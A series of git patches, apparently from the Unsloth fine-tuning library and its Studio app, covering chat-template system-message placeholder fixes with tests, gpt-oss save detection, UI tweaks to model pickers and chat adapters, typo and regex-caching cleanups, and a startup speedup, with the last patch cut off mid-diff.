+++ b/studio/frontend/src/features/hub/types.ts
@@ -28,9 +28,6 @@ export type ModelFormatFilter = "all" | "gguf" | "checkpoint" | "mlx";
 
 export type CapabilityFilter = "all" | CapabilityKey;
 
-import type { GpuFitFilter, GpuFitLevel } from "./lib/gpu-fit-filter";
-export type { GpuFitFilter, GpuFitLevel };
-
 export interface DiscoverRow {
   id: string;
   owner: string;
@@ -40,7 +37,6 @@ export interface DiscoverRow {
   isPartialOnDevice: boolean;
   summary: string;
   capabilities: Capability[];
-  fitLevel?: GpuFitLevel | null;
 }
 
 export type SelectedResourceSource = "huggingface" | "hub_cache" | LocalSource;

From 693ab8069d5ff317e8efe6ecbf2fc86032b249f9 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Sun, 28 Jun 2026 02:43:34 -0700
Subject: [PATCH 135/306] Remove unused FalconH1RMSNormGated import (#6728)

FalconH1RMSNormGated is imported from transformers but never referenced in
unsloth/models/falcon_h1.py. The unused hoist trips the import-hoist lint gate
on the merge commit of every open PR (the gate lints PR-head merged into main),
so clearing it here unblocks those PRs.
---
 unsloth/models/falcon_h1.py | 1 -
 1 file changed, 1 deletion(-)

diff --git a/unsloth/models/falcon_h1.py b/unsloth/models/falcon_h1.py
index 05bfd2ebb3..e3e04e4fdc 100644
--- a/unsloth/models/falcon_h1.py
+++ b/unsloth/models/falcon_h1.py
@@ -38,7 +38,6 @@ try:
         FalconH1Model,
         FalconH1ForCausalLM,
         FalconH1RMSNorm,
-        FalconH1RMSNormGated,
         FalconHybridMambaAttentionDynamicCache,
     )
 except:

From b56d24ea3e7111c5fa34167a528f0f07fe22e32c Mon Sep 17 00:00:00 2001
From: Nilay <118994073+NilayYadav@users.noreply.github.com>
Date: Sun, 28 Jun 2026 16:46:03 +0530
Subject: [PATCH 136/306] Studio: cascade user message deletion to include
 assistant reply (#6720)

* cascade user message deletion to include assistant reply

* Fix comment typo in delete-thread-message

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 .../chat/utils/delete-thread-message.ts       | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/studio/frontend/src/features/chat/utils/delete-thread-message.ts b/studio/frontend/src/features/chat/utils/delete-thread-message.ts
index 3b439eb779..bea5a63ea7 100644
--- a/studio/frontend/src/features/chat/utils/delete-thread-message.ts
+++ b/studio/frontend/src/features/chat/utils/delete-thread-message.ts
@@ -112,7 +112,26 @@ export async function deleteThreadMessage(args: {
   const exported = thread.export();
   const repo = new MessageRepository();
   repo.import(exported);
+
+  const target = exported.messages.find(
+    ({ message }) => message.id === messageId,
+  );
+  const assistantReplyIds =
+    target?.message.role === "user"
+      ? exported.messages
+          .filter(
+            ({ parentId, message }) =>
+              parentId === messageId && message.role === "assistant",
+          )
+          .map(({ message }) => message.id)
+      : [];
+
+  // Delete the prompt first; that relinks its replies up to the prompt's parent
   repo.deleteMessage(messageId);
+  for (const replyId of assistantReplyIds) {
+    repo.deleteMessage(replyId);
+  }
+
   const next = repo.export();
   if (remoteId) {
     await syncExportedRepositoryToBackend(remoteId, next, {

From 20266a59eb4516edf2aa1b8a791540085e22956e Mon Sep 17 00:00:00 2001
From: Vineeth Sai <vineethsai4444@gmail.com>
Date: Sun, 28 Jun 2026 20:36:39 -0700
Subject: [PATCH 137/306] Fix custom chat templates with a {system_message}
 placeholder (dead code in _change_system_message) (#6735)

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 tests/python/test_change_system_message.py | 76 ++++++++++++++++++++++
 unsloth/chat_templates.py                  | 27 ++++----
 2 files changed, 88 insertions(+), 15 deletions(-)
 create mode 100644 tests/python/test_change_system_message.py

diff --git a/tests/python/test_change_system_message.py b/tests/python/test_change_system_message.py
new file mode 100644
index 0000000000..1ccd6547b2
--- /dev/null
+++ b/tests/python/test_change_system_message.py
@@ -0,0 +1,76 @@
+import ast
+import re
+import types
+from pathlib import Path
+
+import pytest
+
+
+def _load_change_system_message():
+    # Extract just _change_system_message from chat_templates.py so the test runs
+    # without importing unsloth (which needs unsloth_zoo / a GPU). Same pattern as
+    # tests/saving/test_is_gpt_oss_detection.py.
+    source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    funcs = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name == "_change_system_message"
+    ]
+    namespace = {
+        "re": re,
+        "logger": types.SimpleNamespace(warning_once = lambda *a, **k: None),
+        "DEFAULT_SYSTEM_MESSAGE": {"unsloth": "You are a helpful assistant to the user"},
+    }
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace["_change_system_message"]
+
+
+CUSTOM = "mycustom"  # not in DEFAULT_SYSTEM_MESSAGE -> no predefined default
+
+
+def test_custom_template_fills_placeholder():
+    # A custom template with a {system_message} placeholder must be filled, not
+    # left with the literal placeholder.
+    fn = _load_change_system_message()
+    template, used = fn("System: {system_message}\nUser:", CUSTOM, "You are a pirate")
+    assert template == "System: You are a pirate\nUser:"
+    assert "{system_message}" not in template
+    assert used == "You are a pirate"
+
+
+def test_custom_template_preserves_backslashes():
+    # Why str.replace and not re.sub: a system message with backslashes (Windows
+    # paths, LaTeX, group-like text) must be inserted verbatim. re.sub treats the
+    # replacement specially -- r"C:\Users" raises bad-escape, r"\1" is a group ref.
+    fn = _load_change_system_message()
+    for msg in (r"C:\Users\me", r"\frac{a}{b}", r"see \1 here"):
+        template, used = fn("System: {system_message}", CUSTOM, msg)
+        assert template == f"System: {msg}"
+        assert used == msg
+
+
+def test_custom_template_requires_system_message():
+    # A custom template with a placeholder but no system message must raise,
+    # rather than silently leaving the placeholder in.
+    fn = _load_change_system_message()
+    with pytest.raises(ValueError):
+        fn("System: {system_message}", CUSTOM, None)
+
+
+def test_custom_template_without_placeholder_unchanged():
+    fn = _load_change_system_message()
+    template, used = fn("System: fixed", CUSTOM, "ignored")
+    assert template == "System: fixed"
+
+
+def test_predefined_template_uses_default_then_override():
+    # Predefined templates with a default are unaffected by the change.
+    fn = _load_change_system_message()
+    t1, u1 = fn("System: {system_message}", "unsloth", None)
+    assert t1 == "System: You are a helpful assistant to the user"
+    t2, u2 = fn("System: {system_message}", "unsloth", "Custom override")
+    assert t2 == "System: Custom override"
+    assert u2 == "Custom override"
diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py
index 7f453bff82..eba4577315 100644
--- a/unsloth/chat_templates.py
+++ b/unsloth/chat_templates.py
@@ -1804,10 +1804,19 @@ CHAT_TEMPLATES["yi-chat"] = (yi_chat_template, yi_chat_template_eos_token, False
 DEFAULT_SYSTEM_MESSAGE["yi-chat"] = None
 
 def _change_system_message(template: str, type_chat_template: str, system_message: str = None):
-    system_message_pattern = r"\{system_message\}"
-
     # For predefined templates, check if default system message exists
     default_system_message = DEFAULT_SYSTEM_MESSAGE.get(f"{type_chat_template}", None)
+
+    # Custom templates have no predefined default, but may still carry a
+    # {system_message} placeholder. Handle it before the no-default early return
+    # below, which would otherwise leave the literal "{system_message}" in the
+    # template. A placeholder with no system message is an error, not a no-op.
+    if default_system_message is None and "{system_message}" in template:
+        if system_message is None:
+            raise ValueError("Unsloth: You need to provide a system message for custom templates.")
+        new_template = template.replace("{system_message}", system_message)
+        return new_template, system_message
+
     if default_system_message is None:
         if system_message is not None:
             logger.warning_once(
@@ -1817,21 +1826,9 @@ def _change_system_message(template: str, type_chat_template: str, system_messag
             )
         return template, system_message
 
-    # For custom templates
-    if type_chat_template is None:
-        has_placeholder = re.search(system_message_pattern, template) is not None
-
-        if has_placeholder:
-            if system_message is None:
-                raise ValueError("Unsloth: You need to provide a system message for custom templates.")
-            new_template = re.sub(system_message_pattern, system_message, template)
-            return new_template, system_message
-
-        return template, system_message
-
     # For predefined templates with default system message
     message_to_use = system_message if system_message is not None else default_system_message
-    new_template = re.sub(system_message_pattern, message_to_use, template)
+    new_template = template.replace("{system_message}", message_to_use)
 
     return new_template, message_to_use
 

From 677ec0cc20bf7cb4735385c51a22999a64839a83 Mon Sep 17 00:00:00 2001
From: Vineeth Sai <vineethsai4444@gmail.com>
Date: Sun, 28 Jun 2026 22:44:00 -0700
Subject: [PATCH 138/306] Fix gpt-oss detection in save: config.architectures
 is a list, not a string (#6711)

---
 tests/saving/test_is_gpt_oss_detection.py | 52 +++++++++++++++++++++++
 unsloth/save.py                           | 21 +++++----
 2 files changed, 64 insertions(+), 9 deletions(-)
 create mode 100644 tests/saving/test_is_gpt_oss_detection.py

diff --git a/tests/saving/test_is_gpt_oss_detection.py b/tests/saving/test_is_gpt_oss_detection.py
new file mode 100644
index 0000000000..c8790e4da1
--- /dev/null
+++ b/tests/saving/test_is_gpt_oss_detection.py
@@ -0,0 +1,52 @@
+import ast
+import types
+from pathlib import Path
+
+
+def _load_is_gpt_oss():
+    # Extract just the helper from save.py so the test runs without importing
+    # unsloth (which requires unsloth_zoo / a GPU), matching the pattern used by
+    # test_qwen3_5_vlm_full_finetune_key_remap.py.
+    source = Path(__file__).parents[2] / "unsloth" / "save.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    helpers = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name == "_is_gpt_oss"
+    ]
+    module = ast.Module(body = helpers, type_ignores = [])
+    ast.fix_missing_locations(module)
+    namespace = {}
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace["_is_gpt_oss"]
+
+
+def _model(architectures = None, model_type = None):
+    config = types.SimpleNamespace()
+    if architectures is not None:
+        config.architectures = architectures
+    if model_type is not None:
+        config.model_type = model_type
+    return types.SimpleNamespace(config = config)
+
+
+def test_detects_gpt_oss_by_architecture():
+    # config.architectures is a list, so detection must use membership, not ==.
+    # A model that declares GptOssForCausalLM but has no matching model_type must
+    # still be routed to the mxfp4 save path.
+    is_gpt_oss = _load_is_gpt_oss()
+    assert is_gpt_oss(_model(architectures = ["GptOssForCausalLM"])) is True
+    assert is_gpt_oss(_model(architectures = ["GptOssForCausalLM"], model_type = "gpt_oss")) is True
+
+
+def test_detects_gpt_oss_by_model_type():
+    is_gpt_oss = _load_is_gpt_oss()
+    assert is_gpt_oss(_model(architectures = ["SomethingElse"], model_type = "gpt-oss")) is True
+    assert is_gpt_oss(_model(architectures = ["SomethingElse"], model_type = "gpt_oss")) is True
+
+
+def test_non_gpt_oss_is_false():
+    is_gpt_oss = _load_is_gpt_oss()
+    assert is_gpt_oss(_model(architectures = ["LlamaForCausalLM"], model_type = "llama")) is False
+    assert is_gpt_oss(_model()) is False
+    assert is_gpt_oss(types.SimpleNamespace()) is False
diff --git a/unsloth/save.py b/unsloth/save.py
index 0e8c8cdc2d..f55a14b4e3 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -475,6 +475,17 @@ def _is_qwen3_5_vlm(model):
     ) or getattr(config, "model_type", None) in ("qwen3_5", "qwen3_5_moe")
 
 
+def _is_gpt_oss(model):
+    config = getattr(model, "config", None)
+    if config is None:
+        return False
+    architectures = getattr(config, "architectures", None) or ()
+    return "GptOssForCausalLM" in architectures or getattr(config, "model_type", None) in (
+        "gpt-oss",
+        "gpt_oss",
+    )
+
+
 def _qwen3_5_vlm_state_dict_for_save(state_dict):
     remapped_state_dict = {}
     for key, value in state_dict.items():
@@ -2231,15 +2242,7 @@ def unsloth_save_pretrained_gguf(
 
     is_processor = is_vlm and isinstance(tokenizer, ProcessorMixin)
 
-    is_gpt_oss = (
-        True
-        if (
-            hasattr(self.config, "architectures")
-            and self.config.architectures == "GptOssForCausalLM"
-        )
-        or (hasattr(self.config, "model_type") and self.config.model_type in ["gpt-oss", "gpt_oss"])
-        else False
-    )
+    is_gpt_oss = _is_gpt_oss(self)
     # Step 2: Prepare arguments for model saving
     arguments = dict(locals())
     arguments["model"] = self

From 54b95fbcc8a7a928e8161169d70c394998d73176 Mon Sep 17 00:00:00 2001
From: Matt Van Horn <mvanhorn@users.noreply.github.com>
Date: Mon, 29 Jun 2026 03:12:47 -0700
Subject: [PATCH 139/306] fix(studio): show local file path tooltip for Hub-tab
 local models (#6715)

Local models in the Studio Hub tab (Custom folders, LM Studio, and
Local models sections) did not reveal their on-disk path on hover,
unlike the Fine-tuned rows which already do. Each of these rows maps
over a LocalModelInfo with a required path, so pass tooltipText built
from the model name and path via a small shared localPathTooltip
helper, matching the existing FT-row tooltip format.

Refs #6382

Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 .../assistant-ui/model-selector/pickers.tsx   | 23 +++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
index 386f233c7b..5f5d112204 100644
--- a/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
+++ b/studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx
@@ -1114,6 +1114,17 @@ function localModelIsGguf(m: LocalModelInfo): boolean {
   );
 }
 
+function localPathTooltip(name: string, path: string): ReactNode {
+  return (
+    <>
+      <span className="block break-words">{name}</span>
+      <span className="block mt-1 text-[10px] text-muted-foreground break-all">
+        {path}
+      </span>
+    </>
+  );
+}
+
 /** Whether a local model is an MLX build (name hint). MLX runs on Mac only, so
  * callers gate visibility on the host being a Mac. */
 function localModelIsMlx(m: LocalModelInfo): boolean {
@@ -2928,6 +2939,10 @@ export function HubModelPicker({
                           <ModelRow
                             label={m.model_id ?? m.display_name}
                             meta={isGguf ? "GGUF" : "Local"}
+                            tooltipText={localPathTooltip(
+                              m.model_id ?? m.display_name,
+                              m.path,
+                            )}
                             selected={value === m.id}
                             optionProps={hubModelList.getOptionProps(
                               optionKey,
@@ -3017,6 +3032,10 @@ export function HubModelPicker({
                           <ModelRow
                             label={m.model_id ?? m.display_name}
                             meta={isGguf ? "GGUF" : "Local"}
+                            tooltipText={localPathTooltip(
+                              m.model_id ?? m.display_name,
+                              m.path,
+                            )}
                             selected={value === m.id}
                             optionProps={hubModelList.getOptionProps(
                               optionKey,
@@ -3098,6 +3117,10 @@ export function HubModelPicker({
                           <ModelRow
                             label={m.model_id ?? m.display_name}
                             meta={isGguf ? "GGUF" : "Local"}
+                            tooltipText={localPathTooltip(
+                              m.model_id ?? m.display_name,
+                              m.path,
+                            )}
                             selected={value === m.id}
                             optionProps={hubModelList.getOptionProps(
                               optionKey,

From 2f8521ed54b20775025ce28bc9965e97d76318b3 Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Mon, 29 Jun 2026 11:57:48 +0100
Subject: [PATCH 140/306] Fix compare adapter selection (#6411)

---
 .../src/features/chat/api/chat-adapter.ts     | 22 +++++++++++++++++--
 .../src/features/chat/runtime-provider.tsx    |  9 ++++----
 2 files changed, 25 insertions(+), 6 deletions(-)

diff --git a/studio/frontend/src/features/chat/api/chat-adapter.ts b/studio/frontend/src/features/chat/api/chat-adapter.ts
index 0106980871..ca7ac174fc 100644
--- a/studio/frontend/src/features/chat/api/chat-adapter.ts
+++ b/studio/frontend/src/features/chat/api/chat-adapter.ts
@@ -47,6 +47,7 @@ import {
   useChatRuntimeStore,
 } from "../stores/chat-runtime-store";
 import { useExternalProvidersStore } from "../stores/external-providers-store";
+import type { ModelType } from "../types";
 import { isMultimodalResponse } from "../types/api";
 import type {
   GgufVariantDetail,
@@ -142,6 +143,11 @@ interface ServerTimings {
 type RunMessages = Parameters<ChatModelAdapter["run"]>[0]["messages"];
 type RunMessage = RunMessages[number];
 
+type OpenAIStreamAdapterOptions = {
+  modelType?: ModelType;
+  pairId?: string;
+};
+
 /** Tracks which user messages were sent with an audio file (messageId → filename). */
 export const sentAudioNames = new Map<string, string>();
 
@@ -1182,7 +1188,17 @@ export function findLatestUserAudioBase64(
 
 async function resolveUseAdapter(
   threadId: string | undefined,
+  options: OpenAIStreamAdapterOptions = {},
 ): Promise<boolean | undefined> {
+  if (options.modelType === "model1" || options.modelType === "model2") {
+    return undefined;
+  }
+  if (
+    options.pairId &&
+    (options.modelType === "base" || options.modelType === "lora")
+  ) {
+    return options.modelType === "lora";
+  }
   if (!threadId) {
     return undefined;
   }
@@ -1629,7 +1645,9 @@ async function autoLoadSmallestModel(): Promise<{
   }
 }
 
-export function createOpenAIStreamAdapter(): ChatModelAdapter {
+export function createOpenAIStreamAdapter(
+  options: OpenAIStreamAdapterOptions = {},
+): ChatModelAdapter {
   return {
     async *run({ messages, abortSignal, unstable_threadId }) {
       await useChatRuntimeStore.getState().hydratePersistedSettings();
@@ -2076,7 +2094,7 @@ export function createOpenAIStreamAdapter(): ChatModelAdapter {
         }
         runtime.clearPendingAudio();
       }
-      const useAdapter = await resolveUseAdapter(resolvedThreadId);
+      const useAdapter = await resolveUseAdapter(resolvedThreadId, options);
 
       // ── Audio model path (non-streaming) ─────────────────────
       const activeModel = runtime.models.find(
diff --git a/studio/frontend/src/features/chat/runtime-provider.tsx b/studio/frontend/src/features/chat/runtime-provider.tsx
index 360e081f0f..67980b94c6 100644
--- a/studio/frontend/src/features/chat/runtime-provider.tsx
+++ b/studio/frontend/src/features/chat/runtime-provider.tsx
@@ -1045,16 +1045,17 @@ function useStudioRuntimeAdapters(
   return adapters;
 }
 
-const chatAdapter = createOpenAIStreamAdapter();
-
 function useRuntimeHook(
   modelType: ModelType,
   pairId?: string,
 ): ReturnType<typeof useLocalRuntime> {
   const adapters = useStudioRuntimeAdapters(modelType, pairId);
   const persistedChatAdapter = useMemo(
-    () => createPersistedRunAdapter(chatAdapter),
-    [],
+    () =>
+      createPersistedRunAdapter(
+        createOpenAIStreamAdapter({ modelType, pairId }),
+      ),
+    [modelType, pairId],
   );
   return useLocalRuntime(persistedChatAdapter, { adapters });
 }

From 02540371c20fd468cfee358cc850f56527b54957 Mon Sep 17 00:00:00 2001
From: Muhammad Ikhwan Fathulloh
 <77288014+Muhammad-Ikhwan-Fathulloh@users.noreply.github.com>
Date: Mon, 29 Jun 2026 19:07:09 +0700
Subject: [PATCH 141/306] perf(dataprep): cache regex and field lists, fix
 typos (#6714)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* Improve code quality & performance: fix typos, compile regex & cache fields

- Fix typos across core files (repeatted → repeated, splitted → split, etc.)
- Compile regex patterns once as class attributes in TextPreprocessor
- Cache text fields/columns in RawTextDataLoader
- Improve comments (re-use → reuse)

* Use immutable raw text field constants

---------

Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 unsloth/chat_templates.py                     | 18 ++++----
 unsloth/dataprep/raw_text.py                  | 41 +++++++++++++------
 unsloth/kernels/geglu.py                      |  2 +-
 .../moe/grouped_gemm/kernels/forward.py       |  2 +-
 unsloth/models/_utils.py                      |  2 +-
 5 files changed, 40 insertions(+), 25 deletions(-)

diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py
index eba4577315..8c4606f418 100644
--- a/unsloth/chat_templates.py
+++ b/unsloth/chat_templates.py
@@ -2276,28 +2276,28 @@ def get_ollama_eos_tokens(tokenizer, extra_eos_tokens = []):
     if getattr(tokenizer, "bos_token", None) is not None:
         added_tokens_decoder = [x for x in added_tokens_decoder if x != tokenizer.bos_token]
 
-    repeatted_tokens = []
+    repeated_tokens = []
     # Join all vocab
     joined_text = "\x01\x00".join(added_tokens_decoder)
     for token in added_tokens_decoder:
         n = len(token)
-        repeatted_counts = joined_text.count(token[:n//2])
+        repeated_counts = joined_text.count(token[:n//2])
         # Try finding longer than 1/2 of the token in the rest
         # For eg <|reserved_special_token_0|>, <|reserved_special_token_1|>
-        if repeatted_counts > 2:
+        if repeated_counts > 2:
             for j in range(n//2+1, n):
-                if joined_text.count(token[:j]) < repeatted_counts:
+                if joined_text.count(token[:j]) < repeated_counts:
                     j -= 1
-                    # Remove repeatted tokens to reduce search space
+                    # Remove repeated tokens to reduce search space
                     joined_text = joined_text.replace(token[:j], "")
-                    repeatted_tokens.append(token[:j])
+                    repeated_tokens.append(token[:j])
                     break
 
     # Remove duplicates
-    splitted = joined_text.split("\x01\x00")
-    final_eos_tokens = [old for old, new in zip(added_tokens_decoder, splitted) if old == new]
+    split = joined_text.split("\x01\x00")
+    final_eos_tokens = [old for old, new in zip(added_tokens_decoder, split) if old == new]
     final_eos_tokens += extra_eos_tokens
-    final_eos_tokens += repeatted_tokens
+    final_eos_tokens += repeated_tokens
 
     # Remove new lines, spaces and HTML tags
     filtered_eos_tokens = []
diff --git a/unsloth/dataprep/raw_text.py b/unsloth/dataprep/raw_text.py
index 076a781d4b..7d18b1ff29 100644
--- a/unsloth/dataprep/raw_text.py
+++ b/unsloth/dataprep/raw_text.py
@@ -223,48 +223,63 @@ class RawTextDataLoader:
                 return "\n\n".join(texts)
         return ""
 
+    # Cache text fields/columns for better performance
+    _TEXT_FIELDS = ("text", "content", "message", "body", "description", "prompt")
+    _TEXT_COLUMNS = _TEXT_FIELDS
+
     def _extract_text_from_json(self, data):
         """Extract text from JSON object using common field names."""
-        text_fields = ["text", "content", "message", "body", "description", "prompt"]
-        for field in text_fields:
+        for field in self._TEXT_FIELDS:
             if field in data and isinstance(data[field], str):
                 return data[field]
         return ""
 
     def _extract_text_from_csv_row(self, row):
         """Extract text from CSV row using common column names."""
-        text_columns = ["text", "content", "message", "body", "description", "prompt"]
-        for column in text_columns:
+        for column in self._TEXT_COLUMNS:
             if column in row and row[column]:
                 return row[column]
         return ""
 
 
 class TextPreprocessor:
+    # Compile regex patterns once for better performance
+    _WHITESPACE_PATTERN = re.compile(r"[^\S\n]+")
+    _INVALID_CHARS_PATTERN = re.compile(r"[^\x20-\x7E\n]")
+    _MULTIPLE_SPACES_PATTERN = re.compile(r"[ ]{2,}")
+    _NEWLINE_SPACES_PATTERN = re.compile(r" *\n *")
+    _MULTIPLE_NEWLINES_PATTERN = re.compile(r"\n{3,}")
+    _CHAPTER_PATTERN = re.compile(r"^# (.+)$", re.MULTILINE)
+    _SECTION_PATTERN = re.compile(r"^## (.+)$", re.MULTILINE)
+    _SUBSECTION_PATTERN = re.compile(r"^### (.+)$", re.MULTILINE)
+    _CODE_BLOCK_PATTERN = re.compile(r"```(\w*)\n(.*?)\n```", re.DOTALL)
+
     def clean_text(self, text):
         """Remove unwanted characters, normalize whitespace"""
         text = text.replace("\r\n", "\n").replace("\r", "\n")
-        text = re.sub(r"[^\S\n]+", " ", text)
-        text = re.sub(r"[^\x20-\x7E\n]", "", text)
-        text = re.sub(r"[ ]{2,}", " ", text)
-        text = re.sub(r" *\n *", "\n", text)
-        text = re.sub(r"\n{3,}", "\n\n", text)
+        text = self._WHITESPACE_PATTERN.sub(" ", text)
+        text = self._INVALID_CHARS_PATTERN.sub("", text)
+        text = self._MULTIPLE_SPACES_PATTERN.sub(" ", text)
+        text = self._NEWLINE_SPACES_PATTERN.sub("\n", text)
+        text = self._MULTIPLE_NEWLINES_PATTERN.sub("\n\n", text)
         return text.strip()
 
     def extract_sections(self, text, patterns):
         """Extract specific sections (e.g., code blocks, quotes)"""
         sections = []
         for pattern in patterns:
+            # Compile pattern on first use and cache? Well, patterns are user-provided,
+            # so just use re.findall with compiled flags
             matches = re.findall(pattern, text, re.MULTILINE | re.DOTALL)
             sections.extend(matches)
         return sections
 
     def add_structure_tokens(self, text):
         """Add special tokens for structure (chapters, sections)"""
-        text = re.sub(r"^# (.+)$", r"<|chapter|>\1<|/chapter|>", text, flags = re.MULTILINE)
-        text = re.sub(r"^## (.+)$", r"<|section|>\1<|/section|>", text, flags = re.MULTILINE)
-        text = re.sub(r"^### (.+)$", r"<|subsection|>\1<|/subsection|>", text, flags = re.MULTILINE)
-        text = re.sub(r"```(\w*)\n(.*?)\n```", r"<|code|\1|>\2<|/code|>", text, flags = re.DOTALL)
+        text = self._CHAPTER_PATTERN.sub(r"<|chapter|>\1<|/chapter|>", text)
+        text = self._SECTION_PATTERN.sub(r"<|section|>\1<|/section|>", text)
+        text = self._SUBSECTION_PATTERN.sub(r"<|subsection|>\1<|/subsection|>", text)
+        text = self._CODE_BLOCK_PATTERN.sub(r"<|code|\1|>\2<|/code|>", text)
         return text
 
     def validate_dataset(self, dataset):
diff --git a/unsloth/kernels/geglu.py b/unsloth/kernels/geglu.py
index 3a628f105c..0ed325afa0 100644
--- a/unsloth/kernels/geglu.py
+++ b/unsloth/kernels/geglu.py
@@ -97,7 +97,7 @@ def _exact_backward_kernel(
     e_row = tl.load(e + offsets, mask = mask, other = 0).to(tl.float32)
     g_row = tl.load(g + offsets, mask = mask, other = 0)  # .to(tl.float32)
 
-    # Break e_row away for re-use
+    # Break e_row away for reuse
     # f = 1/2 * e * (1 + erf(1/sqrt(2) * e))
     f_partial_row = 0.5 * (tl.math.erf(tl.math.rsqrt(2.0) * e_row) + 1.0)
     f_row = f_partial_row * e_row
diff --git a/unsloth/kernels/moe/grouped_gemm/kernels/forward.py b/unsloth/kernels/moe/grouped_gemm/kernels/forward.py
index e95179dd9f..cb1f22d0b8 100644
--- a/unsloth/kernels/moe/grouped_gemm/kernels/forward.py
+++ b/unsloth/kernels/moe/grouped_gemm/kernels/forward.py
@@ -111,7 +111,7 @@ def _grouped_gemm_forward_kernel(
             while tidx >= processed_tiles and tidx < processed_tiles + num_tiles_per_expert:
                 tile_idx = tidx - processed_tiles
 
-                # Check if L2 cache re-use for this order is optimal
+                # Check if L2 cache reuse for this order is optimal
                 tile_m_idx = tile_idx % num_m_tiles
                 tile_n_idx = tile_idx // num_m_tiles
 
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 7ad6e8ea33..599a5c0262 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -3078,7 +3078,7 @@ class TorchAOConfig:
 def _untie_input_output_embeddings(model: torch.nn.Module) -> None:
     """
     Utility to untie input/output embeddings in a HuggingFace model.
-    This is useful if we want to quantize the input/ouput embeddings differently.
+    This is useful if we want to quantize the input/output embeddings differently.
     Model is modified in-place.
     """
 

From 755da2f1552c2ed063d18b01d98807f413dff3ac Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Mon, 29 Jun 2026 15:27:39 +0200
Subject: [PATCH 142/306] Speed up Studio desktop startup (#6742)

* Speed up Studio desktop startup

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address Studio startup review findings

* Keep orphaned run cleanup before readiness

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/main.py                        |  90 +++--
 studio/backend/run.py                         |  29 ++
 studio/frontend/src/app/provider.tsx          |  28 +-
 .../frontend/src/hooks/use-tauri-backend.ts   |  20 +-
 studio/src-tauri/src/commands.rs              |  16 +
 studio/src-tauri/src/desktop_backend_owner.rs | 147 +++++---
 studio/src-tauri/src/preflight.rs             |  16 +
 studio/src-tauri/src/preflight/backend.rs     |  12 +
 studio/src-tauri/src/preflight/managed.rs     | 333 +++++++++++++++++-
 studio/src-tauri/src/process.rs               |  86 +++--
 10 files changed, 636 insertions(+), 141 deletions(-)

diff --git a/studio/backend/main.py b/studio/backend/main.py
index 731625ca74..0a5b775775 100644
--- a/studio/backend/main.py
+++ b/studio/backend/main.py
@@ -441,9 +441,30 @@ def _start_llama_cpp_probes_if_enabled(app: FastAPI) -> None:
     ).start()
 
 
+def _warm_rag_embedder() -> None:
+    """Warm RAG embeddings without blocking backend readiness."""
+    try:
+        from storage import rag_db
+
+        if not rag_db.RAG_AVAILABLE:
+            return
+        from core.rag import embeddings
+
+        embeddings.warm()
+    except Exception:
+        pass
+
+
 @asynccontextmanager
 async def lifespan(app: FastAPI):
     """Startup: detect hardware, seed default admin if needed. Shutdown: clean up compiled cache."""
+
+    import time as _time
+
+    _lifespan_started = _time.perf_counter()
+    import structlog as _structlog
+
+    _lifespan_log = _structlog.get_logger(__name__)
     clear_unsloth_compiled_cache()
 
     # Remove stale .venv_overlay from old versions; switching now uses .venv_t5/.
@@ -454,6 +475,11 @@ async def lifespan(app: FastAPI):
     # Detect hardware first — sets the DEVICE global used everywhere.
     detect_hardware()
 
+    _lifespan_log.info(
+        "lifespan hardware detection completed in %.1fms",
+        (_time.perf_counter() - _lifespan_started) * 1000,
+    )
+
     # Apple Silicon with MLX missing => Train/Export are greyed out (chat-only).
     # Reinstall mlx by name on a background thread (off the critical path) and
     # re-detect, so a reinstall/update that dropped mlx self-heals. No-op
@@ -465,7 +491,13 @@ async def lifespan(app: FastAPI):
         import structlog as _structlog
         _structlog.get_logger(__name__).debug("mlx autorepair skipped: %s", _mlx_exc)
 
-    # Reap download workers orphaned by a previous crash before new downloads start.
+    # Reap workers/runs orphaned by a previous crash before new work starts.
+    try:
+        from storage.studio_db import cleanup_orphaned_runs
+        cleanup_orphaned_runs()
+    except Exception as exc:
+        _lifespan_log.warning("cleanup_orphaned_runs failed at startup: %s", exc)
+
     reap_hub_orphan_workers()
 
     # llama.cpp probes: capability (MTP support) + freshness (release age).
@@ -479,45 +511,23 @@ async def lifespan(app: FastAPI):
     app.state.llama_cpp_freshness = None
     _start_llama_cpp_probes_if_enabled(app)
 
-    from storage.studio_db import cleanup_orphaned_runs
-
-    try:
-        cleanup_orphaned_runs()
-    except Exception as exc:
-        import structlog
-        structlog.get_logger(__name__).warning("cleanup_orphaned_runs failed at startup: %s", exc)
-
